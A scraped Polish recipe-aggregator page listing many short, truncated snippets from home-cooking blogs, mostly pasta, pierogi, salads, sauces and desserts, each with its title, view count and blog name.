Ravioli w sosie pomidorowym z chorizo 2016-06-14 19:52:40 Ilość porcji: 3 Kulinarne eksperymenty, kreatywne tworzenie dań, mieszanie różnych kuchni, styli oraz zachwycanie domowników oryginalnymi pomysłami. Ten styl gotowania to nic innego jak kuchnia Fusion, która polega na czerpaniu inspiracji z dowolnej kultury, łączeniu różnych tradycji kulinarnych i elementów pozornie do siebie niepasujących. Uwielbiam ten styl gotowania

Wędrówki po kuchni
Polecane książki kulinarne: Retrowarzywa – Paweł Łukasik i Grzegorz Targosz 204

smażoną cebulką – Ossobuco pomidorowe ze skorzonerą i suszonymi na słońcu figami – Krem ze skorzonery i jabłek z żółtą papryką i fasolą pinto – Pasternak panierowany z sosem chrzanowo-kurkumowym z płatkami chabru i nagietka – Miodownik z pasternakiem – Sushi z marynowaną brukwią – Pikantna zupa krem z brukwi i dyni z prażonymi płatkami migdałów – Kotlety

WojnaNaSmaki.pl
Gołąbki z kaszą jęczmienną i pieczarkami 236

zahartować. Na każdy liść nakładamy farsz, zwijamy w rulonik. Gołąbki wkładamy do rondla, podlewamy wywarem/wodą i dusimy do miękkości pod przykryciem. Podawać z sosem pomidorowym lub pieczarkowym. Smacznego

magiczna kuchnia Kasi
Sałatka warzywna z owocami 180

opłukać i pokroić w półplasterki, cebule obrać i pokroić cienko   w p iórka . Jabłka i gruszki obrać, usunąć gniazda nasienne i pokroić w półplasterki. Dodać do warzyw. Zrobić sos: ocet wymieszać z oliwą, odrobiną soli i pieprzu kolorowego, polać sałatkę i delikatnie wymieszać

Camilla w kuchni
Pomidorowe pappardelle z sosem serowym i brokułem 205

wymyśliłam. Miałam pomidorowy makaron a w lodówce zielony brokuł czekał na zjedzenie, no to pozostało coś białego dodać i danie gotowe. Zrobicie sobie obiad ze mną? Pomidorowe pappardelle z sosem serowym i brokułem. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Deser z czereśniami 248

powinny być jedynie lekko rozgotowane. Dodaj odciśniętą żelatynę (napęczniałą żelatynę w proszku podgrzej) do gorących owoców i zamieszaj. Odstaw do ostygnięcia. Ubij śmietankę z wanilią. Na czekoladowy budyń wyłóż sos czereśni, a następnie bitą śmietanę. Zamieszaj lekko. Całość posyp pokruszoną czekoladą i udekoruj całymi czereśniami. The post Deser z czereśniami appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Pierogi z nadzieniem truskawkowo- serowym 189

osoloną wodę. Partiami wrzucać przygotowane pierożki. Gotować od wypłynięcia pierożków na powierzchnię wody 1 minutkę. Podanie – Pierogi wyjąć łyżką cedzakową na durszlak, odcedzić, wyłożyć na talerz. Polać przygotowanym sosem truskawkowym i pokrojonymi truskawkami. Mam nadzieję że widać jak smakują Moja kochana Kornelcia tak zajada Cała rodzina była zaproszona na obiad

Kuchnia Pokoleń
Vegan Machine 3- fotorelacja 179

pysznie. Jestem w szoku, bo mój spust okazał się naprawdę duży :D Wegański kopiec kreta znajdziecie również na moim blogu: ZOBACZ PRZEPIS NA KOPIEC KRETA Jeśli nie wiesz jaki sos wybrać... Weź wszystkie możliwe

healthy dreams
Potrawka z kurczaka z zielonym groszkiem. 411

zawartością garnka, gotujemy do miękkości. Na końcu dodajemy przecier i ajvar, doprawiamy do smaku. Dorzucamy pokrojone suszone pomidory. Dodajemy śmietanę , mieszamy i podajemy.  Jeśli sos jest za rzadki wtedy potrawkę możemy delikatnie zagęścić mąką. Smacznego

Radość kipiąca uśmiechem.
Szybkie lody o smaku zielonej herbaty. 200

łyżeczki herbaty matcha w proszku  (do kupienia tutaj - na hasło "powiedzdietomnie5" otrzymacie specjalną zniżkę) 1 łyżka miodu 1-2 łyżki wody (użyłam kokosowej, ale zwykła też może być) Sos truskawkowy: garść świeżych truskawek 1/2 łyżki miodu szczypta soli 1. Umyte truskawki zblenduj na mus z miodem i solą. 2. Banany wrzuć do kielicha blendera, zalej herbatą wymieszaną z wodą

Powiedz dietom nie
Makaron za Sosem Pieczarkowym 152

się rozpuści. Międzyczasie gotuję makaron. Pietruszkę oraz świeżą kolendrę drobno siekam i dodaję do pieczarek. Pieczarki ściągam z palnika j dodaję jogurt. Mieszam. Na wyłożony makaron wylewam sos. Podaję od razu. Smacznego

Gotowanie Patki
HOT DOGI W CIEŚCIE FRANCUSKIM 221

rulon. Zaklejam końcówki.  Kładę na papier do pieczenia. Posypuję przyprawą z chilli do ziemniaków.  Wkładam do piekarnika na 20-25 min 200 stopni góra dół. Podaję z sosem czosnkowym i ketchupem.  Podaję na ciepło lub na zimno

Gotowanie Patki
Duszony ozór wołowy. Obiad rodzinny z wieloletnia tradycją. 360

pieprzymy z obu stron. Obsmażone mięso przekładamy do gotującej wody. Dodajemy pokrojoną w kostkę, zeszkloną cebulę. Dodajemy namoczonego grzybka do smaku. Dusimy do miękkości na wolnym ogniu. Zagęszczamy sos mąką żytnią bądź redukujemy go na tyle by zgęstniał uważając by nie przypalić. Ważne jest by nie była to stara wołowina. Ozory cielęce to już rarytas. Podajemy z kaszą gryczaną bądź

Kuchnia po mojemu
Makaron z serem i truskawkami 267

garnka, dodać masło i mieszać do czasu jego roztopienia, następnie dodać przygotowany ser i szybciutko wymieszać, aby pod wpływem ciepła ser okleił makaron. Makaron po nałożeniu na talerz polać sosem z truskawek

Kuchcik gotuje
Burgery z pęczaku i czarnej fasoli. 198

przekładać bardzo delikatnie), lub piec w piekarniku około 20 minut w temperaturze 190 - 200 stopni (na natłuszczonym papierze do pieczenia). Podawać w dowolny sposób, np. w bułce z ulubionymi sosami i dodatkami

zadanie-gotowanie
Kęski kurczaka w cieście naleśnikowym 359

zawsze to jakaś odmiana dla tradycyjnych kotletów. Składniki : Podwójna pierś z kurczaka Ulubione Przyprawy Ja użyłam: 2 łyżeczki oregano 1/2 łyżeczki curry pół łyżeczki mielonej ostrej papryki łyżkę sosu sojowego( możecie dodać soli) Pierś z kurczaka warto najpierw zamarynować, gdyż samo ciasto naleśnikowe nie nada naszemu daniu smaku. Pierś należy opłukać, osuszyć na ręczniku papierowym i pokroić na nieduże kawałki

Niebieski kubek z kawa
Golabki z wloskiej kapusty z indykiem 199

gołąbki. Użyłam do nich zamiast tradycyjnej kapusty to kapusty włoskiej. Jest zdecydowanie delikatniejsza i chyba łatwiejsza w obróbce. Do środka dałam farsz z indyka i pieczarek. Wszystko upieczone w sosie pomidorowym. Gołąbki wyszły palce lizać. Czytaj więcej

Bernika - moj kulinarny pamietnik
Makaron ze szparagami i boczkiem 181

Jako, że jeszcze mamy okres na szparagi to dzisiaj coś z nimi w roli głównej – makaron ze szparagami i boczkiem w sosie

Kuchenne Wariacje
Tagliatelle truskawkowe 149

Makaron gotujemy zgodnie z przepisem zawartym na opakowaniu. Odcedzamy (nie przelewamy zimną wodą), przekładamy do garnka. W między czasie: Truskawki myjemy, szypułkujemy, i razem z cukrem oraz śmietaną blendujemy. Sos dodajemy do makaronu, dokładnie łączymy z makaronem. Podajemy od razu po przygotowaniu. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Błyskawiczne piątki - Cukiniowe talarki z parmezanem 181

bułce wymieszanej z parmezanem. Smażyć na złoty kolor, odkładać na papierowy ręcznik by odciekły trochę z oleju. Podawać na ciepło jako dodatek do obiadu bądź przegryzkę np. z sosami

Magiczne Życie Marty
MAKARON Z TRUSKAWKAMI 172

lekko osolonej wodzie według instrukcji na opakowaniu. Truskawki umyj, obierz ze szypułek i rozgnieć za pomocą widelca z twarożkiem, jogurtem i cukrem. Ugotowany makaron przełóż na talerz polej sosem i ozdób listkami mięty. Smacznego

Kukuleczki
Sos pomidorowy z cukinią do słoików na zimę 213

Sos pomidorowy przygotowuje każdego roku, dzięki temu zaoszczędzam sporo czasu. Jak mam dzień tzw. "lenia" wówczas otwieram słoik, dodaje makaron,ser i gotowe :) Składniki:  2 ½  kg pomidorów 4 żółte papryki 2 młode cukinie 1 pęczek świeżej bazylii 4 ząbki czosnku 5 łyżek oliwy 10 łyżek cukru ½ łyżeczki ostrej papryki 3 łyżeczki soli 120 ml octu Wykonanie: Pomidory sparzyć

Tradycyjna Kuchnia
Pstrąg łososiowy w sosie koperkowo-jogurtowym 208

osuszyć. Wymieszać jogurt naturalny z jajkiem, doprawić solą i pieprzem.  Dodać otartą skórkę z połowy cytryny oraz drobno posiekany koperek. Ułożyć rybę a naczyniu do zapiekania, zalać sosem jogurtowo-koperkowym. Piec rybę w 170 stopniach C przez około 15-20 minut. Smacznego

kolorowotorcikowo
Sałatka z młodych ziemniaków 371

już wiecie jak je wykorzystać! :) SKŁADNIKI (3-4 porcje) ok. 20 malutkich ugotowanych młodych ziemniaków 3-4 średnie ogórki gruntowe 1 cebula cukrowa kilka łodyżek szczypiorku kilka gałązek koperku sos 1 łyżka jogurtu naturalnego 1 płaska łyżka majonezu 1 łyżeczka musztardy sól pieprz SPOSÓB PRZYGOTOWANIA Młode ziemniaczki kroimy na ćwiartki (moje były wielkości orzechów włoskich). Ogórki obieramy ze skórki

DefinicjaSmaku
Zapiekana kasza gryczana z warzywami i kurczakiem. 179

kurczaka, Dusić przez chwilę, doprawić solą. Wymieszać delikatnie z ugotowaną kaszą.  Całość przełożyć do naczynia żaroodpornego i zapiekać około 20 minut w temperaturze 180°C. Podawać z ulubionym sosem (u mnie czosnkowy), posypać natką pietruszki lub kolendrą

zadanie-gotowanie
Kapary po polsku. Marynowane nasiona nasturcji 190

Dzisiaj będzie coś co robiłam ubiegłej jesieni w ramach eksperymentu a okazało się być świetną przyprawą m.in. do sosu tuńczykowego . To marynowane nasiona nasturcji czyli polski zamiennik śródziemnomorskich kaparów. Jeśli macie ogródek i siejecie w nim nasturcję to koniecznie zanotujcie ten przepis bo na pewno przyda się późnym latem kiedy nasiona tej rośliny zaczną dojrzewać. Przepis przeleżał sobie z notatkach

Smaczna Pyza
Deser - Malinowy Król 216

serek mascarpone i ponownie ubijamy. W osobnym naczyniu ubijamy śmietanę 30% z odrobinką soli. Wszystkie składniki łączymy razem, delikatnie mieszając. Maliny miksujemy blenderem z 2 łyżeczkami cukru pudru. Na sos. Na spodzie wysokich szklanek kruszymy herbatniki, lekko skropione mlekiem. Na herbatniki kładziemy masę z mascarpone, maliny i znów mascarpone.  Całość posypujemy startą gorzką czekoladą. Deser możecie uwieńczyć listkiem mięty

Kuchnia smaków
Sałatka Agi 228

kostkę czarne oliwki pomidory suszone - kroimy w paski oliwa z suszonych pomidorów sól, pieprz,  czosnek - przeciskamy przez praskę (możecie do sałatki zamiast oliwy z pomidorów dodać  sos włoski, cezar, koperkowy) Wszystkie składniki wymieszać.  Gotowe! Przepis, wykonanie i zdjęcia

Kuchnia smaków
Kluski śląskie 195

przestygnięcia. Do ugniecionych ziemniaków dodajemy mąkę ziemniaczaną, sól i wbijamy jajko. Wyrabiamy ciasto. Z ciasta lepimy lekko spłaszczone kulki z dziurką w środku. Bez dziurki się nie liczy, bo sos nie ma się gdzie zatrzymać.  W dużym garnku zagotowujemy wodę. Wodę solimy i wlewamy kapkę oleju, co by się nic nie kleiło. Do wrzącej wody wrzucamy po kolei kluseczki

Kuchnia smaków
Meksykańska tortilla czyli wege burrito 387

chili, ale możecie zdecydować jaki będzie poziom ostrości, ponieważ pieprz cayenne dodajecie na samym końcu. Jeżeli lubicie chrupiącą tortillę, to polecam podgrzać ją na patelni. Ja nie dodaję żadnego sosu, bo danie samo w sobie jest ciekawe. Meksykańska tortilla czyli wege burrito.   Drukuj Czas przygotowania 10 min Czas gotowania 25 min Czas całkowity 35 min   Ilość porcji

Apetyt na Zielone
Jak zrobić domową pastę harissa? (przepis krok po kroku) 201

dodawać do naprawdę wielu potraw - zup, gulaszy, past kanapkowych, jajecznicy, kanapek (smarować jak musztardą). Wymieszana z oliwą stworzy świetną marynatę, a wymieszana pół na pół z jogurtem naturalnym pyszny sos np. do falafeli . Jak się domyślacie, istnieje bardzo wiele przepisów na pastę harissa. Można ją przygotować zarówno ze świeżych jak i suszonych papryczek chilli i mieszać ze sobą papryczki

Chilli Czosnek i Oliwa
Serowe paluszki 328

zarumienią , ściągamy i odsączamy z nadmiaru tłuszczu na papierowym ręczniku . Podajemy od razu na gorąco – inaczej nie będzie się ciągnął przy krojeniu, a to najfajniejsze . Doskonale smakują z sosem pomidorowym , ketchupem czy żurawiną . Smacznego Post Serowe paluszki pojawił się poraz pierwszy w Ogrodnik w podróży

Ogrodnik w podróży
15 przepisów z truskawkami 156

Sorbet bananowo-truskawkowy z owocowym crunchy Sorbet truskawkowy Surówka z młodej kapusty z truskawkami Truskawkowy koktajl na maślance Truskawkowy koktajl z bananem i miodem Truskawkowe semifreddo z jagodami i sosem owocowym podane z malinami Woda truskawkowo - miętowa

Moja smaczna kuchnia
Obieraczki julienne, czyli sztuka w kuchni! 179

przez długi czas. Dzięki obieraczce możemy szybko wyczarować potrawy, których przygotowanie trwałoby bardzo długo przy użyciu tradycyjnego noża. Pocięte w słupki warzywa z powodzeniem możemy wykorzystać do przygotowania zupy, sosu do mięsa, idealnie sprawdzą się również jako ozdoba talerza, na którym zaserwujemy naszym gościom potrawę.Decydując się na zakup obieraczki do julienne, możemy mieć pewność, że inwestujemy w narzędzie, które

Domowa Cukierenka-Domowa Kuchnia
Soczysta pieczeń wołowa 147

całkiem szczelne, dobrze jest najpierw przykryć folią aluminiową, a dopiero pokrywą). Wstawiamy do piekarnika nagrzanego do temperatury 150 stopni i pieczemy 3,5 godziny. Pieczeń najlepiej smakuje z ciemnym sosem pieczeniowym i zielonym groszkiem. Smacznego

kuchnia doski
Pierogi z truskawkami 155

Sezonowo "trza" szaleć :P Nasze pierwsze w tym roku zbiory. Składniki Ciasto: 500 g mąki 300 ml wrzącej wody 2 łyżki masła Farsz: 200 g truskawek 4 łyżki ksylitolu Sos: 250 g słodkiej śmietany 2 łyżki ksylitolu   Przygotowanie Normal 0 21 false false false MicrosoftInternetExplorer4 W misce usypujemy kopczyk z mąki, robimy dołek i wlewamy gorącą wodę wymieszaną

R'n'G Kitchen
Gołąbki w skórkach 273

natłuszczonym naczyniu żaroodpornym. Pieczemy pod przykryciem 45 minut w temperaturze 180 st. C  oraz dodatkowo 15 minut bez przykrycia. Można w piekarniku razem upiec ziemniaki. Wystarczy podzielić, dodać sos, surówkę i gotowe. Smacznego

Maminek kulinarny
Serniczki fit z chia i młodym jęczmieniem na zimno 211

tych, którzy tak jak my mają bzika na punkcie tych kwiatków... lub bez tej fanaberii :) W sklepach pełno polskich truskawek gruntowych, najlepszych na świecie, więc jako dodatek koniecznie sos truskawkowy :)  Deser możecie przygotować w tortownicy lub tak jak my w małych foremkach, które przed napełnieniem można polać płynnym olejem kokosowym, co ułatwi wyjęcie serniczków przed podaniem. Z nazwy jest

SzczyptaSmaQ
Pasta pieczarkowa z natką pietruszki 187

związku z tym warto ją wykorzystywać w różnych przepisach. Pasta pieczarkowa z natką pietruszki Składniki: 500 g pieczarek  1 średnia cebula  natka pietruszki 2 łyżki sosu  tamari / sojowego 2 łyżeczki czosnku 1 łyżeczka majeranku 1/4 łyżeczki imbiru sól, pieprz Przygotowanie: Pieczarki i cebulę pokrój na drobne kawałki.  Na rozgrzaną patelnie wrzuć pokrojone pieczarki

wegujemy
Klopsiki z czerwonej fasoli w warzywnym sosie 213

prała w 60!). Wracając do klopsów, jedyne jakie jem, to te wegańskie będąc w Ikea, a dziś zrobiłam wyjątek dla Miśki. Podałam je z gryczanym makaronem i sosem warzywnym. Składniki na 3 porcje: klopsy: 2 puszki czerwonej fasoli (w sumie to około 100 g suchej fasoli po ugotowaniu) 1 duża czerwona cebula łyżeczka kuminu płaska łyżeczka soli łyżeczka czerwonej papryki

greenscarf
Słodkie burgery z frużeliną 181

malinową frużeliną. Prawda, że przypominają wyglądem dobrze obłożone wytrawne burgery! Do przyrządzenia burgerów na słodko można wykorzystać dowolny przepis na czekoladowe ciastka, upiec małe bezy i przyrządzić owocowy sos, np. frużelinę z malin. Słodkie burgery to połączenie kilka przepisów w jeden. Dobrego nigdy nie za dużo! Słodkie burgery można przyrządzić z dowolnie wybranych czekoladowych ciastek. Ciasteczka powinny być w miarę

codojedzenia
PANCAKES (BEZGLUTENOWE) KUCHNIA FILMOWA 193

szklanka mąki (u mnie mieszanka bezglutenowa) - szklanka mleka - szklanka wody gazowanej - łyżka cukru - łyżeczka sody  - szczypta soli - 3 łyżki rozpuszczonego masła - słodkie dodatki (u mnie karmelizowana brzoskwinia i sos klonowy) WSZYSTKIE SKŁADNIKI POWINNY  być w temperaturze pokojowej. Wystarczy je zmiksować i smażyć placuszki na suchej, gorącej patelni. Podawaj w formie stosiku z ulubionymi dodatkami :) Smacznego

Kuchnia bezglutenowa Loli
Serniczki z patelni 344

Placki z białego sera, smażone na oleju na patelni. Podaję je z dodatkiem sosu np. truskawkowego lub świeżych owoców. Można również posypać cukrem pudrem. Serniczki są łatwe do wykonania. Z podanego przepisu wychodzi ok. 10 średniej wielkości placków. 0,5 kg twarogu trzykrotnie zmielonego lub gotowego sera do serników (z wiaderka) 5 łyżek mąki 3 łyżki cukru 1 jajko

Bullio
Ryba zapiekana z warzywami 115

kroimy w kostkę i mieszamy z podsmażonymi warzywami. W naczyniu żaroodpornym wykładamy na dnie warzywa, a na nich układamy rybę. Śmietanę mieszamy z serem startym na tarce i przyprawami. Sos wylewamy na rybę i rozsmarowujemy. Pieczemy w piekarniku nagrzanym do 180 stopni przez około

e-PrzepisyKulinarne
Aksamitny sos miodowo-musztardowy 231

Uwielbiam sos miodowo-musztardowy. Służy mi głównie do sałatek, ale też dobrze sprawdza się do mięs, czy nawet do kanapek. Ta wersja ma doskonałą aksamitną konsystencję dzięki połączeniu oliwy, majonezu, miodu i musztardy. Kompozycji smaku dopełnia sok z cytryny

Milion Smaków
Kotleciki curry z kaszy bulgur i dip z melasy z granatu 222

obiad. Idealnie smakują bezpośrednio po przygotowaniu (ciepłe) z dodatkiem surówki/sałatki i/lub dipu. Mogą też posłużyć jako dodatek np. do kotleta, ale dla mnie najsmaczniejsze są z lekkim sosem i świeżymi warzywami. Poniżej przedstawiłam przepis na przepyszny dip z melasy z granatu.  Jest rewelacyjny, ma wyjątkowy (kwaskowaty) smak i doskonale sprawdzi się także do innych potraw

Di gotuje
Zupowar - wrażenia z użytkowania 283

zapewnione wyżywienie, ale taki na własną rękę. A takich wyjazdów w moim życiu nie brakuje.    Jakie funkcje ma zupowar? Do wyboru aż 8 programów: Zupa Zupa krem Sos Gotowanie i gotowanie na parze Smoothie Blendowanie Kruszenie lodu Pulse    Dane techniczne: Silnik o mocy 400W, element grzejny o mocy 800W Pojemność 1,75 L (zimne składniki

Gotowanie i blogowanie
Kurczak ze szpinakiem w sosie śmietanowym 152

przestając mieszać. Przed podaniem dopraw do smaku gałką muszkatołową, solą i pieprzem. Podawaj na przykład z ryżem.   *Np. śmietany Szefa Kuchni Danone’a 22% do zup i sosów

Smaki Francji współczesna kuchnia francuska
Warstwowy placek z ciecierzycy alla po węgiersku z gulaszem drobiowo - warzywnym. 201

złoty kolor z obydwu stron. Na talerz wykładamy duży placek na placek wykładamy porcję warzywno mięsną, następnie placek i znowu porcja warzywno mięsna. Taki placek również można polać dowolnym sosem . Smacznego

Sama słodycz i szczypta chili
wytrawne gofry z serem i szynką 188

koniec w osobnym naczyniu ubijamy na sztywno białka, dodajemy je do ciasta i delikatnie mieszamy. Pieczemy partiami gofry na złoty kolor. Podajemy na ciepło np. z ketchupem lub ulubionym sosem

Domowy Smak Jedzenia
Makaron ze szparagami 222

Cebulki drobno siekamy. To samo robimy ze szczypiorkiem. Dymkę podsmażamy na oliwie aż się ładnie zeszkli. Dodajemy pomidory. Po 3 minutach wkładamy szparagi, rukolę i mozarellę. Dodajemy makaron. Zalewamy sosem. Chwilę podgrzewamy.  Ilość porcji: 5 Koszt przygotowania: 20 zł Czas przygotowania

Pobite gary Barbary
Sałatka ziemniaczana z boczkiem i ogórkami kiszonymi / Potato salad with bacon and dill pickles 363

kiełbaski i karkówki Warto zadbać też o dodatki do grillowanych dań, dlatego proponuję dziś przepis na pyszną sałatkę z młodych ziemniaków, z boczkiem, cebulką i ogórkami kiszonymi w delikatnym sosie majonezowym. Doskonała na ciepło jak i na zimno, świetnie sprawdzi się też jako dodatek do klasycznego obiadu domowego w te gorące dni. Polecam! Scroll down for recipe in English Sałatka

karmelowy
Sałatka z młodego szpinaku i rzodkiewki 128

rzodkiewki 1 biała cebula 2 pomidory 2 łyżki soku z cytryny 2 łyżki oliwy sól i pieprz do smaku cukier do smaku Wykonanie: Z oliwy, soku i przypraw zrobić sos. Szpinak dokładnie oczyścić, wymieszać i odstawić na dwie godziny. Warzywa umyć, pokroić, wymieszać ze szpinakiem, doprawić do smaku i podawać

Tradycyjna Kuchnia
Naleśniki z bananami i bitą śmietaną 206

sycącym obiadem. Po trzecie: jest uniwersalny. Naleśniory można jeść praktycznie ze wszystkim – bananami, truskawkami, dżemem, bitą śmietaną, lodami, nutellą, salami, serem żółtym, serem białym, farszem pieczarkowym, sosem pomidorowym, mięsem mielonym, warzywami… Z ciekawych wersji: ostatnio jadłem z serem, kurczakiem grillowanym, rukolą, suszonymi pomidorami i prażonym słonecznikiem. Pycha! Po czwarte: może być składnikiem innych dań. Możemy z nich zrobić krokiety, naleśnikowe

Proste-przepisy.pl
Sernik na ciasteczkowym spodzie z musem wiśniowym STOVIT - naturalnie owocowe. 179

gram produktu jak twierdzi producent to tylko 100 kcal. Mus świetnie sprawdzi się jako  dodatek do lodów, tostów, grzanek, naleśników czy gofrów a także jako składnik wykwintnych sosów do mięs. Stovit  "wypuścił" na rynek mus w 5 smakach - truskawki, wiśnie, brzoskwinia z marakują, owoce leśne i cztery owoce. Mus świetnie smakuje na kromce chleba jednak ja chciałam

Radość kipiąca uśmiechem.
Schab duszony w młodej kapuście 206

dusić około 15-20 minut. Gdy kapusta wyraźnie się skurczy to całość przyprawić solą oraz pieprzem. Na sam koniec dodać posiekany koperek. Gotować jeszcze kilka minut bez przykrycia. Sos powinien wyraźnie się zredukować

Ugotować
Schab z dzika Marioli 197

ręcznikiem papierowym. Olej wlewamy do miseczki dodajemy czosnek przeciśnięty przez praskę, pokruszone liście laurowe, utarte w moździerzu ziarna jałowca, majeranek, sól i pieprz świeżo mielony. Dokładnie wszystko mieszamy powstałym sosem, nacieramy dokładnie schab, odstawiamy do lodówki na 24 godz. Tak przygotowany schab zawijamy w folię aluminiową wkładamy do naczynia żaroodpornego. Pieczemy w 180 C około 2 godz. Po upieczeniu zostawiamy

kgwjanczewo
Tarta jaglano-truskawkowa (bez pieczenia) 205

truskawek) lub 1 szklanka smażonych truskawek: na maśle podsmażyć ok. 3 szklanki truskawek, posypać 1 łyżką cukru i smażyć na wolnym ogniu do momentu, aż sos się zredukuje. Do dekoracji: kilkanaście truskawek Przygotowanie:  Spód: W malakserze (lub blenderze) rozdrobnić biszkopty, dodać miękkie masło, miksować do połączenia składników. Masa powinna być lepka, nie sypka. Formę wyłożyć folią spożywczą. Na dnie

Domowa Cookierenka Agi
Gulasz z szynki z pomidorami 190

czasu do czasu pomieszać i w razie potrzeby uzupełnić brakującą wodę. Dusić około 1 h Kiedy mięso będzie już miękkie dodać mąkę ziemniaczaną rozpuszczoną w wodzie. Doprowadzić do wrzenia. Sos powinien być gęsty. Polecam z ziemniakami, ryżem, makaronem,kaszą lub kluskami

O kuchni z uczuciem
Chleb cebulowy. 202

Chleb stanowi idealny dodatek do mięs, również tych pieczonych na grillu, jajecznicy lub jako baza do aromatycznych kanapek. Mi najbardziej smakuje chleb cebulowy obłożony tylko pomidorem, lub maczany w sosie spod pieczystego. Mmmm...Palce lizać! Składniki na chleb cebulowy:  na formę 24x28 cm lub tortownicę o śr. 28 cm 3 duże cebule 3-4 łyżki oliwy 500 g mąki

Rozpustne gotowanie
MINTAJ Z ANANASEM I SZPARAGAMI! 181

Pyszna i lekka propozycja na letni obiad. Mintaj z ananasem i kaszą jaglaną, w aromatycznym sosie. Podany z jędrnymi szparagami, skropionymi aromatyczną oliwą z oliwek z dodatkiem chili i soli morskiej. Proste danie a tak inne, a tak wyjątkowe! Zapraszam! SKŁADNIKI: - 1/2 pęczka cienkich zielonych szparagów - oliwa z oliwek - czosnek  - natka pietruszki i kolendry - świeży ananas, 3 grube plastry

SMYKWKUCHNI
Żeberka duszone w piwie z miodem 181

listek laurowy, ziele angielskie i całość tuszyć pod przykryciem do miękkości (na małym ogniu, około 50 minut). Pod koniec gotowania całość posypać koperkiem (wg uznania), a w razie potrzeby sos doprawić i zagęścić mąką. (Można zrobić więcej mieszanki piwno-miodowej, w zależności od ilości żeberek

Di gotuje
Curry z kurczaka z kalafiorem 277

Kurczak w aksamitnym, aromatycznym sosie Składniki 1 pojedynczy filet z kurczaka 1/2 niedużego kalafiora 1 cebula 2 ząbki czosnku 1 puszka mleczka kokosowego 2-3 łyżki gęstej śmietany sól, pieprz słodka … Czytaj dalej Curry z kurczaka z kalafiorem

czarrna od kuchni
Pizza bezglutenowa (bez drożdży) 307

odstaw na 5 minut Piekarnik nagrzej do 200 st. Ciasto skrop łyżką oliwy i rozwałkuj na grubość kilku mm i przenieś na blaszkę wyłożoną papierem do pieczenia Posmaruj sosem pomidorowym.keczupem, połóż ulubione dodatki Piecz w 200 st przez 20 minut Smacznego

pyszne zdrowości
7 pomysłów na szybki wegański obiad cz. 2 225

różowej bułce , Burger jaglany w pomidorach FIT 6. Najprostsze wegańskie naleśniki Szybkie i proste danie można zrobić z naleśników. Przepis jest banalny. Do środka możemy wpakować nasze ulubione warzywa, sosy, tofu, kotlety sojowe, falafel itp. Do wyboru, do koloru :) Przepis: Najprostsze wegańskie naleśniki 7. Paszteciki z ciasta francuskiego Gotowe ciasto francuskie nadziewamy farszem z kaszy jaglanej (bądź innej) i ulubionymi

Bananowe Pole
Sałatka izraelska Nidy Degutiene 212

miętę. Skrop sałatkę oliwą i sokiem z cytryny, dopraw do smaku solą. Dobrze wymieszaj i odczekaj 10-15 minut, aż smaki się połączą. Podawaj ze świeżym białym chlebem i sosem sezamowym tahini

Kulinaria - potrawy z różnych stron świata
Focaccia z rozmarynem, tymiankiem i skórką cytryny – bomba aromatu 256

czując te aromaty wydobywające się z piekarnika… Do zjedzenia w formie kanapki – pokrojona na trójkąty i przecięta na pół, będzie świetna z kozim serem, figami. Z szynką serrano, sosem balsamicznym i sałatą. Świetna baza do bruschetty. Nada się też na grzanki do sałatki Cezar. Albo sama, jeszcze lekko ciepła, podana z oliwą wymieszaną z ziołami, z kieliszkiem zimnego wina

Karo in the Kitchen
Indyk w sosie curry 251

cebula 1 młoda cukinia 1/2 puszki ananasa w zalewie 2 łyżeczki czerwonej pasty curry sól, pieprz curry 1 łyżeczka mąki ziemniaczanej 2 łyżki … Czytaj dalej Indyk w sosie curry

czarrna od kuchni
śledź w sosie pomidorowym... 209

cebuli wlać sok pomidorowy, wodę i gotować na średnim ogniu z 5 minut, dodać do smaku ocet, pieprz, na koniec wsypać koperek z czosnkiem, wymieszać na usmażone śledzie wlać sos pomidorowy, schować do lodówki najlepiej na całą noc aby smaki się przegryzły - śledzie w pomidorach są o niebo lepsze od kupnych puszek..............SMACZNEGO

W Mojej Kuchni Lubię
Spaghetti z letnimi warzywami w sosie śmietanowo- serowym 196

dzisiejszy obiad proponuję pyszny makaron z warzywami duszony w sosie śmietanowo- serowym. Potrawę warto przygotować szczególnie latem, kiedy mamy dostęp do świeżych warzyw i kiedy chcemy przygotować coś na "szybko", bo nie chce nam się długo stać przy garach.  SKŁADNIKI: 250g makaronu spaghetti, 1 cukinia, 1 papryka czerwona, 100g pomidorków cherry, 1 cebula, 1 szklanka śmietany 30%, 50g sera

Tradycyjna kuchnia Kasi
Rabarbar - sprawdzone przepisy na dania i kilka ciekawostek 167

Rabarbar jest idealnym składnikiem tortów, deserów, sosów, konfitur, dżemów i wiele wiele innych ! Cechuje go przede wszystkim niska zawartość cholesterolu i sodu, duża zawartość błonnika, witaminy C i K, wapnia i potasu. Sezon Sezon na rabarbar to końcówka kwietnia do końca czerwca. Jak przechowywać ? Najlepiej owinąć go w wilgotny ręcznik i trzymać w lodówce (będzie chrupiący i świeży przez kilka

Tradycyjna Kuchnia
Shakshouka (szakszuka) 242

Maroko. Jest tak dobre, że powinieneś je również poznać właśnie Ty! Samo słowo oznacza „bałagan" a w rzeczywistości to jajka sadzone w lekko pikantnym i niezwykle aromatycznym sosie pomidorowym. Kumin, czosnek, papryka i soczyste, słodkawe pomidory- czyż to nie brzmi bosko? Świetna opcja dla tych, którzy lubią odświętne kolacje. Dla tych, którzy lubią smaczne i niekonwencjonalne śniadania. Dla tych

Wielki apetyt
Sernik czekoladowy 278

cukru 2 szklanki mąki 1 łyżeczka proszku do pieczenia W rondelku rozpuszczamy masło i czekoladę, mieszając by się nie przypaliły. Jajka ubijamy z cukrem do białości, dodajemy lekko przestudzony sos czekoladowy i miksujemy całość. Wsypujemy mąkę oraz proszek do pieczenia i mieszamy. Ciasto powinno być dość gęste, ale spływać z łyżki, jeśli nie spływa dolewamy odrobinę mleka i mieszamy

Cynamonowe szczęście
Makaron z truskawkami i cynamonem 164

makaron u mnie kokardki Makaron gotuję. Do miski daję truskawki, miksuję blenderem, dodaję miód, cynamon i jogurt naturalny. Mieszam. Kilka truskawek przecinam na połówki. Na ciepły makaron wykładam przygotowany sos i dodaje kilka truskawek

kruche babeczki
Curry z dorszem i owocami morza 300

fileta z dorsza 15-20 dkg mieszanki owoców morza (mrożone) u mnie kalmary, krewetki i omułki 1 puszka mleka kokosowego 1 cebula 2 łyżki czerwonej pasty curry sos … Czytaj dalej Curry z dorszem i owocami morza

czarrna od kuchni
Ciasto na pizzę 208

